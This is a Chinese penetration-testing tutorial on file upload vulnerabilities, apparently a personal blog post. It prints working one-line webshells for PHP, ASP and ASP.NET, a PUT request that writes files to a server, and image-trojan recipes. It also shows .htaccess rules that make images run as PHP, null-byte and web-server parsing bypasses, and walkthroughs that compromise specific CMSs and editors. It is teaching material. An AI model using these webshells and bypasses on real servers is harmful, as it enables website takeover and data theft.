Web渗透08_文件上传

1 文件上传漏洞概述

文件上传几乎是每一个web,或者说是任何 服务器客户端模式 应用的必备功能,用户在自己的文章,博文中要上相关图片。用户上传自己的头像。网盘用户上传各种文件。等等。若服务器对此没有太多的过滤,让 图片木马, .exe可执行文件, 恶意脚本 上传到服务器上,那么服务器就很有可能会沦陷。一个大马上传到网站里,那么这个网站基本就没了。

引起这个漏洞的原因可能是(1) 服务器的配置不当.(2) 脚本程序对上传的文件没有严格的过滤和格式限制.(3) 没有考虑到服务器的特性。

而文件上传漏洞常常出现在这种场景。攻击者通过一些手段扫描到网站后台,进入网站管理后台页面,一般网站后台都是有各种文件上传的途径。攻击者通过利用 服务器漏洞,服务器配置漏洞,程序限制漏洞,web应用容器(Apache nginx IIS)的一些漏洞。上传小马(利用小马拉大马)。或者直接上传大马。甚至上传包含木马代码的图片,俗称图片木马。利用一些方法执行。一旦上传成功,并可以执行,那这就是一个网站的后门了,俗称Webshell。木马具有自己的登录页面,登陆后.....有一句老话说的好, 拿来吧你!!

一种防御方法就是将上传文件放到另一个服务器中,哪怕攻击者攻击成功对于主站点也没有影响。

1.1 大马

就是恶意的脚本程序代码, 有自己的登录界面.

1.2 小马

小马通常指一句话木马, 通过连接工具(蚁剑 菜刀)连接, 获得服务器权限.

<?php @eval($_REQUEST['shell'])?>

<%eval request['shell']%> # asp

<%@ Page Language="Jscript"%>
<%eval(Request.Item['shell'],"unsafe");%>
# Asp.Net

2 利用条件

  1. Web具有文件上传功能。

  2. Web用户对目标目录具有写权限,和执行权限。而web一般都具有 执行权限。

  3. 上传的文件可以执行,图片木马执行,普通脚本执行

  4. 服务器配置不当,开启了PUT 方法。

3 防御 利用 绕过

3.1 PUT方法上传文件

http请求方法之一,允许直接上传文件到服务器。不需要任何的脚本代码支持。通过构造http请求即可在服务器上创建文件。

也是渗透测试文件上传测试的必须测试的漏洞。

测试方法

# tel对方主机端口

telenet 11.11.11.11 80   

# 连接成功后发送报文

OPTIONS / HTTP/1.1
HOST:11.11.11.11

# 服务器会返回一个它所接受的传输协议列表
GET PUT POST HEAD

# 构造写入文件请求
PUT /info.php HTTP/1.1
HOST:11.11.11.11
Content-Length:18

<?php phpinfo();?>  # 18个字符

3.2 前端限制与绕过

前端限制根本没有用!

前端限制一般指 JS event 限制验证。JS验证虽说功能强大,但弱点也是致命的,那就是在本地浏览器上用户可以修改JS代码。

  • 打开检查窗口,找到限制的JS代码,修改或删除后再提交。

  • 配置浏览器将JS禁用掉。浏览器可以设置不许任何网站运行javascript

  • 挂Burpsiut代理,将上传文件的后缀修改为允许上传格式的后缀,Burp中 设置模块Proxy 拦截Intercept is on。 上传允许上传的文件。在Burp抓到的请求包里恢复之前的文件名。点击Forword放过。

3.3 MIME

最早的HTTP协议中,并没有附加的数据类型信息,所有传送的数据都被客户程序解释为超文本标记语言HTML 文档,而为了支持多媒体数据类型,HTTP协议中就使用了附加在文档之前的MIME数据类型信息来标识数据类型。

MIME意为多功能Internet邮件扩展,它设计的最初目的是为了在发送电子邮件时附加多媒体数据,让邮件客户程序能根据其类型进行处理。然而当它被HTTP协议支持之后,它的意义就更为显著了。它使得HTTP传输的不仅是普通的文本,而变得丰富多彩。

每个MIME类型由两部分组成,前面是数据的大类别,例如声音audio、图象image等,后面定义具体的种类。

有时候服务器检测的是Content-Type类型,这个只要拦截包修改类型再放过即可。

3.4 图片内容检测

无论是前端验证还是Content-Type验证,力度都比较小。都可以利用一些技巧将脚本文件上传到服务器

所以服务器端脚本还会验证文件内容,非图片文件不可上传。

php的getimagesize()计算图片大小的同时还会检测是否为图片的编码格式。

这就涉及到了 图片木马

这样虽然能够上传文件,不过不能运行。

图片木马的制作

  • copy smile.jpg/b+info.php/a simle_info.jpg
  • 修改图片属性->版权 写入php代码。
  • 利用jpg文件头的固定16进制编码,将其复制并转为ASCII,放到PHP文件的php代码之前。可以绕过getimagesize()。叫jpg幻术。

3.5 黑白名单检测

服务器还会检测文件后缀。会有文件后缀黑名单,不允许.php |.asp |.jsp的上传。但是还是有一些特别的文件后缀可以执行。


.php .php2 .php3 .php5 .phtml

.asp .aspx .ascx .ashx .asa .cer

.jsp .jspx

3.6 00 截断

就是利用NULL 16进制常用00 URL编码常用%00

image

文件上传后在服务器的 PHP 临时文件夹创建了一个被上传文件的临时副本。
这个临时的复制文件会在脚本结束时消失。

要保存被上传的文件,我们需要把它拷贝到另外的位置,同时为了重名的因素,会计算出一个随机的文件名,一般与时间有关

move_uploaded_file(file,newloc) file是待移动的文件 newloc是移动的目标位置。

由于PHP底层的一些函数是由C语言写的,字符串的读取NULL的影响很大,因为一般读到NULL就算结束了。

我们在save_path=../updload/后添加test.php%00

move_uploaded_file(temp.jpg,../updload/test.php/20210814.gif)这个是行不通的,在脚本文件下面如何创建一个图片文件(图片木马)?

move_uploaded_file(temp.jpg,../updload/test.php%00/20210814.gif)这个直接就将保存目的文件路径给截断了,后面的不起作用。C语言认为目标路径就是../updload/test.php,并把文件内容写入。这就上传了一个脚本啊。不论这些脚本代码保存到什么格式里被上传,最终变成了test.php都可以运行。

3.7 .htaccess

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

如果网站允许用户上传.htaccess文件,那么危害就可想而知了。

在一些网站的核心目录里,不允许用户访问的文件,例如数据库类文件目录,插件文件目录等,里面都会有.htaccess。进行不允许访问的配置。

# .htacess 文件
Deny From All

3.7.1 以 PHP 的方式解析 PNG

上传一个图片木马Muma.png,访问就会被当作PHP代码来执行。

# .htacess 文件
AddType application/x-httpd-php .png 

3.7.2 文件名包含PHP关键字

当图片文件名 image.php.png 中包含php关键字,并且.htaccess的配置如下,即图片被当作PHP代码来执行。

# .htacess 文件
AddHandler php5-script php

3.7.3 匹配文件名

在文件中匹配文件名为Muma.jpg的文件,并以PHP执行。

# .htacess 文件
<FilesMatch "Muma.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

3.8 Web容器文件解析漏洞

Web容器对于各种文件的解析和执行可能会有漏洞,导致一些文件被以脚本文件的形式执行。

3.8.1 Apache(old)文件解析漏洞

info.php.xxx.xx.x容器会从文件末尾开始解析文件后缀,并决定打开方式。

.x .xx .xxx它都不认识,最后只能执行 .php了。

3.8.2 IIS(6.0)文件解析漏洞

  • .asp;1.jpg本来是图片文件会被当成sap脚本执行。
    例子:Image.asp;1.jpg

  • 1.asp/image.jpg1.asp目录下的图片文件会被当成脚本执行。

3.8.3 IIS(7.0|7.5)+PHP CGI 文件解析漏洞 Nignx也存在

此漏洞可以使图片文件以PHP脚本执行。

IIS+PHP 环境搭建。利用映射,映射到PHP的执行程序,CGI关联PHP的配置信息。

image

使用此功能可以配置从服务器上的网站所使用的 FastCGI应用程序
image

漏洞利用:www.abc.com/images/asp.png/.php www.abc.com/images/nginx.png/.php
漏洞修复:php配置文件中 cgi.fix_pathinfo=0 即可修复

3.8.4 Nignx解析漏洞

1 用户配置漏洞

VulHub:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

该漏洞与Nginx、php版本无关,属于用户配置不当造成的解析漏洞。
www.abc.com/images/nginx.png/.php

2 空字节漏洞

info.html%00.php其中html里有php代码,用空字节截断,加上 .php 即可运行。

3 文件名逻辑漏洞 CVE-2013-4547

VulHub:https://vulhub.org/#/environments/nginx/CVE-2013-4547/
影响版本:Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
上传1.gif 文件后缀有空格。

访问http://your-ip:8080/uploadfiles/1.gif[0x20][0x00].php发现图片中的PHP代码被执行。

[0x20]是空格,[0x00]是\0

3.9 富文本编辑器

为了使在web上编写文章像在Windows的Word里一样简单,加粗,标题,添加图片等功能就富集在这个文本编辑器里了。

3.9.1 eWebEditor编辑器

进入网站后台,发现编辑器的文章上传可以设置图片格式白名单,修改白名单允许上传脚本文件即可。
image

3.9.2 ckeditorb(fckeditor)编辑器

image

上传脚本Muma.asp文件,发现不允许上传。

在Burp的回包里发现是IIS6.0,有两个漏洞可以利用。

  1. .asp;1.jpg
  2. 1.asp/image.jpg

Burp拦截并修改文件名为Muma.asp;1.jpg,发现上传不成功

利用第二个漏洞,创建1.asp文件夹,发现文件夹变成1_asp

在创建一个文件夹 Hello并用 Burp拦截,发现创建文件夹CreateFolder=//目录下创建文件夹。我们修改这个路径为/2.asp/。Forward放过。 于是创建功了两个文件夹。

/
	|__2.asp
   		|__Hello

image

成功绕过对创建文件夹名字的过滤。之后利用第二个漏洞上传大图片木马,连接大马出现登录框,键入密码,大马不会跳转。因为解析漏洞的某些原因。

这个时候在2.asp下 上传图片小马。其实就是上传XMuma.asp,Burp拦截并修改文件名为XMuma.jpg。上传成功。连接拿到WebShell并在另一个文件夹中上传大马。

打开cmd, 发现权限很低。上传提权 pr.exe文件提权。

拿来吧你!!

image

4 CMS信息管理系统

CMS是Content Management System的缩写,意为"内容管理系统"。 现在市面上很多小的影视网站,阅读网站都用的是CMS模板,几个模板造就了一堆一摸一样的网站。而很多网站都是有文件上传漏洞的

4.1 南方数据管理系统CMS

这是一个asp站点,ACCESS数据库。数据库本身是一个 .mdb 文件,是有下载的可能性的。URL访问这个文件即可下载。

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

image

  1. 通过 union select 注入链接获得数据库账号密码。
  2. 御剑扫出后台 登录。
  3. 数据库备份数据库路径和备份数据库名称都是可修改的。
  4. 找上传图片的地方,上传 .asp 大马,然后用Burp抓包改文件后缀为.jpg。发现上传成功。得到路径。
  5. 备份的本质就是文件复制。我们通过文件复制到 shell.asp
  6. 复制成功后,.jpg 文件变为 shell.asp.asa 。网站访问shell.asp的路径即可,不需要加.asa。服务器会把他当成脚本文件执行。

image

Metinfo v5.0.4 (php)

利用程序编写的漏洞,造成变量覆盖,利用可变的变量绕过各种if 判断语句。

即生成一段URL链接,链接里有很多GET参数变量,利用变量绕过文件上传的一些检测if。

最后自己做一个上传文件表单,处理链接即这段URL。 成功绕过。

<?PHP
foreach($_GET as $key=>$val)
{
	$$key = $val;
	// $_GET['cmd'] ='123456';
	// $cmd = '123456';
	// 可变变量。 
	// 把GET传上来的变量变成PHP变量
}
?>

对代码审计要求比较高。

posted @ 2021-08-15 10:50  Dba_sys  阅读(298)  评论(0编辑  收藏  举报